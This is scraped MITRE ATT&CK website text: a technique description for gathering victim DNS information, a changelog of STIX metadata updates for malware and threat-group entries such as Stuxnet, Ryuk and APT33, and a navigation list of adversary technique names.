Victim Network Information: DNSCurrent version: 1. Description: Before compromising a victim, adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex:
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docs_changelogs_v7.2-v8.0_changelog-detailed.html.txt
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to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. (Citation: Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.external_references[0]['source_name']mitre-ics-attackmitre-attackSoftwareenterprise-attackPatches[S0552] AdFindCurrent version: 1. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_deprecatedFalsevalues_changedSTIX FieldOld valueNew Valuemodified2020-12-29 18:04:33.254000+00:002022-05-20 17:07:10.931000+00:00external_references[1]['url']https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/external_references[2]['source_name']FireEye FIN6 Apr 2019FireEye Ryuk and Trickbot January 2019external_references[2]['description']McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.external_references[2]['url']https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.htmlhttps://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.htmlexternal_references[3]['source_name']FireEye Ryuk and Trickbot January 2019FireEye FIN6 Apr 2019external_references[3]['description']Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.external_references[3]['url']https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.htmlhttps://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html[S0093] Backdoor.OldreaCurrent version: 2. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-20 01:25:31.056000+00:002022-05-11 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0606] Bad RabbitCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2021-10-17 18:43:07.613000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0089] BlackEnergyCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2021-04-26 15:59:03.034000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0608] ConfickerCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2021-10-14 19:41:44.167000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0038] DuquCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2020-03-30 02:07:19.052000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0605] EKANSCurrent version: 2. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-21 01:05:24.884000+00:002022-05-11 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0143] FlameCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2020-03-30 16:41:41.805000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0604] IndustroyerCurrent version: 1. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_contributors['Dragos Threat Intelligence', 'Joe Slowik - Dragos']values_changedSTIX FieldOld valueNew Valuemodified2022-04-14 19:56:46.309000+00:002022-05-23 21:22:34.355000+00:00external_references[3]['url']https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdfexternal_references[4]['url']https://dragos.com/blog/crashoverride/CrashOverride-01.pdf https://dragos.com/blog/crashoverride/CrashOverride-01.pdfexternal_references[5]['url']https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdfiterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0581] IronNetInjectorCurrent version: 1. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_deprecatedFalsevalues_changedSTIX FieldOld valueNew Valuemodified2021-04-13 00:20:21.372000+00:002022-05-20 17:02:59.587000+00:00external_references[1]['url'] https://unit42.paloaltonetworks.com/ironnetinjector/https://unit42.paloaltonetworks.com/ironnetinjector/[S0607] KillDiskCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-19 01:59:06.481000+00:002022-05-11 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0372] LockerGogaCurrent version: 2. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_contributors['Joe Slowik - Dragos']values_changedSTIX FieldOld valueNew Valuemodified2022-04-21 01:00:38.896000+00:002022-05-23 21:22:58.477000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0368] NotPetyaCurrent version: 2. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2021-04-23 19:31:47.185000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0603] StuxnetCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-19 01:44:44.149000+00:002022-05-20 16:22:32.608000+00:00external_references[4]['url']https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdfiterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0366] WannaCryCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2020-05-13 22:59:51.283000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attackics-attackNew Software[S1001] Bad RabbitCurrent version: 1. Description: [Bad Rabbit](https://collaborate.mitre.org/attackics/index.php/Software/S0005) is a self-propagating (“wormable”) ransomware that affected the transportation sector in Ukraine. (Citation: ESET Bad Rabbit Oct 2017) [S1002] BlackEnergy 3Current version: 1. Description: [BlackEnergy 3](https://collaborate.mitre.org/attackics/index.php/Software/S0004) is a malware toolkit that has been used by both criminal and APT actors. It support various plug-ins including a variant of KillDisk. It is known to have been used against the Ukrainian power grid. (Citation: Booz Allen Hamilton) [S1003] ConfickerCurrent version: 1. Description: [Conficker](https://collaborate.mitre.org/attackics/index.php/Software/S0012) is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant. (Citation: Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary) [S0017] EKANSCurrent version: 1. Description: [EKANS](https://collaborate.mitre.org/attackics/index.php/Software/S0017) is ransomware that was first seen December 2019 and later reported to have impacted operations at Honda automotive production facilities.(Citation: Forbes Snake Ransomware June 2020)(Citation: MalwareByes Honda and Enel Ransomware June 2020)(Citation: Dragos EKANS February 2020) EKANS has a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy historian, Honeywell HMIWeb).(Citation: Dragos EKANS February 2020) If the malware discovers these processes on the target system, it will stop, encrypt, and rename the process to prevent the program from restarting. This malware should not be confused with the “Snake” malware associated with the Turla group. The ICS processes documented within the malware’s kill-list is similar to those defined by the MEGACORTEX software.(Citation: FireEye OT Ransomware July 2020)(Citation: Pylos January 2020)(Citation: Dragos EKANS June 2020)The ransomware was initially reported as “Snake”, however, to avoid confusion with the unrelated Turla APT group security researchers spelled it backwards as EKANS. [S1004] IndustroyerCurrent version: 1. Description: [Industroyer](https://collaborate.mitre.org/attackics/index.php/Software/S0001) is a sophisticated piece of malware designed to cause an [Impact](https://collaborate.mitre.org/attackics/index.php/Impact) to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations.(Citation: ESET Win32/Industroyer) Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride)(Citation: CISA Alert (TA17-163A))(Citation: Dragos Crashoverride 2018)(Citation: Dragos Crashoverride 2019) [S1005] KilldiskCurrent version: 1. Description: In 2015 the BlackEnergy malware contained a component called KillDisk. KillDisk's main functionality is to overwrite files with random data, rendering the OS unbootable. (Citation: ESET BlackEnergy Jan 2016) [S1008] StuxnetCurrent version: 1. Description: [Stuxnet](https://collaborate.mitre.org/attackics/index.php/Software/S0010) was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilites, a sophisticated Windows rootkit, and network infection routines.(Citation: Wired W32.Stuxnet Dossier Feb 2011)(Citation: Symantec W32.Stuxnet Writeup)(Citation: CISA ICS Advisory (ICSA-10-238-01B))(Citation: SCADAhacker Stuxnet Mitigation Jan 2014) Patches[S0093] Backdoor.OldreaCurrent version: 2. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-20 01:25:31.056000+00:002022-05-11 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0606] Bad RabbitCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2021-10-17 18:43:07.613000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0089] BlackEnergyCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2021-04-26 15:59:03.034000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0608] ConfickerCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2021-10-14 19:41:44.167000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0038] DuquCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2020-03-30 02:07:19.052000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0605] EKANSCurrent version: 2. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-21 01:05:24.884000+00:002022-05-11 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0143] FlameCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2020-03-30 16:41:41.805000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0604] IndustroyerCurrent version: 1. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_contributors['Dragos Threat Intelligence', 'Joe Slowik - Dragos']values_changedSTIX FieldOld valueNew Valuemodified2022-04-14 19:56:46.309000+00:002022-05-23 21:22:34.355000+00:00external_references[3]['url']https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdfexternal_references[4]['url']https://dragos.com/blog/crashoverride/CrashOverride-01.pdf https://dragos.com/blog/crashoverride/CrashOverride-01.pdfexternal_references[5]['url']https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdfiterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0607] KillDiskCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-19 01:59:06.481000+00:002022-05-11 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0372] LockerGogaCurrent version: 2. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_contributors['Joe Slowik - Dragos']values_changedSTIX FieldOld valueNew Valuemodified2022-04-21 01:00:38.896000+00:002022-05-23 21:22:58.477000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0368] NotPetyaCurrent version: 2. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2021-04-23 19:31:47.185000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0496] REvilCurrent version: 2. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-21 01:01:16.684000+00:002022-05-24 21:09:01.019000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0446] RyukCurrent version: 1. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_deprecatedFalsevalues_changedSTIX FieldOld valueNew Valuemodified2022-03-26 13:13:19.978000+00:002022-05-24 21:10:44.381000+00:00external_references[2]['source_name']CrowdStrike Ryuk January 2019Bleeping Computer - Ryuk WoLexternal_references[2]['description']Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.external_references[2]['url']https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/external_references[4]['source_name']FireEye FIN6 Apr 2019CrowdStrike Ryuk January 2019external_references[4]['description']McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.external_references[4]['url']https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.htmlhttps://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/external_references[5]['source_name']Bleeping Computer - Ryuk WoLFireEye FIN6 Apr 2019external_references[5]['description']Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.external_references[5]['url']https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.htmliterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0603] StuxnetCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2022-04-19 01:44:44.149000+00:002022-05-20 16:22:32.608000+00:00external_references[4]['url']https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdfiterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attack[S0366] WannaCryCurrent version: 1. Detailsvalues_changedSTIX FieldOld valueNew Valuemodified2020-05-13 22:59:51.283000+00:002022-04-25 14:00:00.188000+00:00iterable_item_addedSTIX FieldOld valueNew Valuex_mitre_domainsics-attackGroupsenterprise-attackPatches[G0064] APT33Current version: 1. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_attack_spec_version2.1.0x_mitre_contributors['Dragos Threat Intelligence']x_mitre_deprecatedFalsevalues_changedSTIX FieldOld valueNew Valuemodified2021-05-26 12:40:42.907000+00:002022-05-23 21:22:08.170000+00:00external_references[4]['source_name']FireEye APT33 Sept 2017FireEye APT33 Webinar Sept 2017external_references[4]['description']O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.external_references[4]['url']https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.htmlhttps://www.brighttalk.com/webcast/10703/275683external_references[5]['source_name']FireEye APT33 Webinar Sept 2017Microsoft Holmium June 2020external_references[5]['description']Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.external_references[5]['url']https://www.brighttalk.com/webcast/10703/275683https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/external_references[6]['source_name']Microsoft Holmium June 2020FireEye APT33 Sept 2017external_references[6]['description']Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.external_references[6]['url']https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html[G0138] AndarielCurrent version: 1. Detailsdictionary_item_addedSTIX FieldOld valueNew Valuex_mitre_attack_spec_version2.1.0x_mitre_deprecatedFalsevalues_changedSTIX FieldOld valueNew Valuemodified2021-10-15 15:16:47.329000+00:002022-05-24 16:27:11.471000+00:00external_references[1]['source_name']AndarielSilent Chollimaexternal_references[1]['description'](Citation: FSI Andariel Campaign Rifle July 2017)(Citation: CrowdStrike Silent Chollima Adversary September 2021)external_references[2]['source_name']Silent ChollimaAndarielexternal_references[2]['description'](Citation: CrowdStrike Silent Chollima Adversary September 2021)(Citation: FSI Andariel Campaign Rifle July 2017)external_references[3]['source_name']FSI Andariel Campaign Rifle July 2017AhnLab Andariel Subgroup of Lazarus June 2018external_references[3]['description']FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 29, 2021.AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.external_references[3]['url']https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.dohttp://download.ahnlab.com/global/brochure/[Analysis]Andariel_Group.pdfexternal_references[4]['source_name']IssueMakersLab Andariel GoldenAxe May 2017TrendMicro New Andariel Tactics July 2018external_references[4]['description']IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 29, 2021.Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.external_references[4]['url']http://www.issuemakerslab.com/research3/https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.htmlexternal_references[5]['source_name']AhnLab Andariel Subgroup of Lazarus June 2018CrowdStrike Silent Chollima Adversary September 2021external_references[5]['description']AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021.external_references[5]['url']http://download.ahnlab.com/global/brochure/[Analysis]Andariel_Group.pdfhttps://adversary.crowdstrike.com/en-US/adversary/silent-chollima/external_references[6]['source_name']TrendMicro New Andariel Tactics
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docs_changelogs_v11.1-v11.2_changelog-detailed.html.txt
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Currently viewing ATT&CK v7.0-beta which was live between March 31, 2020 and July 7, 2020. Learn more about the versioning system or see the live site. You are currently viewing the sub-techniques beta. Take a tour, read the blog post or release notes, or see the non-beta version of the site. TECHNIQUES PRE-ATT&CK Priority Definition Planning Assess current holdings, needs, and wants Assess KITs/KIQs benefits Assess leadership areas of interest Assign KITs/KIQs into categories Conduct cost/benefit analysis Create implementation plan Create strategic plan Derive intelligence requirements Develop KITs/KIQs Generate analyst intelligence requirements Identify analyst level gaps Identify gap areas Receive operator KITs/KIQs tasking Priority Definition Direction Assign KITs, KIQs, and/or intelligence requirements Receive KITs/KIQs and determine requirements Submit KITs, KIQs, and intelligence requirements Task requirements Target Selection Determine approach/attack vector Determine highest level tactical element Determine operational element Determine secondary level tactical element Determine strategic target Technical Information Gathering Acquire OSINT data sets and information Conduct active scanning Conduct passive scanning Conduct social engineering Determine 3rd party infrastructure services Determine domain and IP address space Determine external network trust dependencies Determine firmware version Discover target logon/email address format Enumerate client configurations Enumerate externally facing software applications technologies, languages, and dependencies Identify job postings and needs/gaps Identify security defensive capabilities Identify supply chains Identify technology usage patterns Identify web defensive services Map network topology Mine technical blogs/forums Obtain domain/IP registration information Spearphishing for Information People Information Gathering Acquire OSINT data sets and information Aggregate individual's digital footprint Conduct social engineering Identify business relationships Identify groups/roles Identify job postings and needs/gaps Identify people of interest Identify personnel with an authority/privilege Identify sensitive personnel information Identify supply chains Mine social media Organizational Information Gathering Acquire OSINT data sets and information Conduct social engineering Determine 3rd party infrastructure services Determine centralization of IT management Determine physical locations Dumpster dive Identify business processes/tempo Identify business relationships Identify job postings and needs/gaps Identify supply chains Obtain templates/branding materials Technical Weakness Identification Analyze application security posture Analyze architecture and configuration posture Analyze data collected Analyze hardware/software security defensive capabilities Analyze organizational skillsets and deficiencies Identify vulnerabilities in third-party software libraries Research relevant vulnerabilities/CVEs Research visibility gap of security vendors Test signature detection People Weakness Identification Analyze organizational skillsets and deficiencies Analyze social and business relationships, interests, and affiliations Assess targeting options Organizational Weakness Identification Analyze business processes Analyze organizational skillsets and deficiencies Analyze presence of outsourced capabilities Assess opportunities created by business deals Assess security posture of physical locations Assess vulnerability of 3rd party vendors Adversary OPSEC Acquire and/or use 3rd party infrastructure services Acquire and/or use 3rd party software services Acquire or compromise 3rd party signing certificates Anonymity services Common, high volume protocols and software Compromise 3rd party infrastructure to support delivery Data Hiding Dynamic DNS Host-based hiding techniques Misattributable credentials Network-based hiding techniques Non-traditional or less attributable payment options Obfuscate infrastructure Obfuscate operational infrastructure Obfuscate or encrypt code Obfuscation or cryptography OS-vendor provided communication channels Private whois services Proxy/protocol relays Secure and protect infrastructure Establish & Maintain Infrastructure Acquire and/or use 3rd party infrastructure services Acquire and/or use 3rd party software services Acquire or compromise 3rd party signing certificates Buy domain name Compromise 3rd party infrastructure to support delivery Create backup infrastructure Domain registration hijacking Dynamic DNS Install and configure hardware, network, and systems Obfuscate infrastructure Obtain booter/stressor subscription Procure required equipment and software Shadow DNS SSL certificate acquisition for domain SSL certificate acquisition for trust breaking Use multiple DNS infrastructures Persona Development Build social network persona Choose pre-compromised mobile app developer account credentials or signing keys Choose pre-compromised persona and affiliated accounts Develop social network persona digital footprint Friend/Follow/Connect to targets of interest Obtain Apple iOS enterprise distribution key pair and certificate Build Capabilities Build and configure delivery systems Build or acquire exploits C2 protocol development Compromise 3rd party or closed-source vulnerability/exploit information Create custom payloads Create infected removable media Discover new exploits and monitor exploit-provider forums Identify resources required to build capabilities Obtain/re-use payloads Post compromise tool development Remote access tool development Test Capabilities Review logs and residual traces Test ability to evade automated mobile application security analysis performed by app stores Test callback functionality Test malware in various execution environments Test malware to evade detection Test physical access Test signature detection for file upload/email filters Stage Capabilities Disseminate removable media Distribute malicious software development tools Friend/Follow/Connect to targets of interest Hardware or software supply chain implant Port redirector Upload, install, and configure software/tools Enterprise Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Bash VBScript Python Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Windows Management Instrumentation Persistence Account Manipulation Additional Azure Service Principal Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script Rc.common Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription .bash_profile and .bashrc Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking Implant Container Image Office Application Startup Add-ins Office Template Macros Outlook Forms Outlook Rules Outlook Home Page Office Test Pre-OS Boot System Firmware Component Firmware Bootkit Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Access Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script Rc.common Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription .bash_profile and .bashrc Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Group Policy Modification Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Doppelgänging Process Hollowing VDSO Hijacking Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Access Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Deobfuscate/Decode Files or Information Direct Volume Access Execution Guardrails Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Group Policy Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking Impair Defenses Disable or Modify Tools Disable Windows Event Logging HISTCONTROL Disable or Modify System Firewall Indicator Blocking Indicator Removal 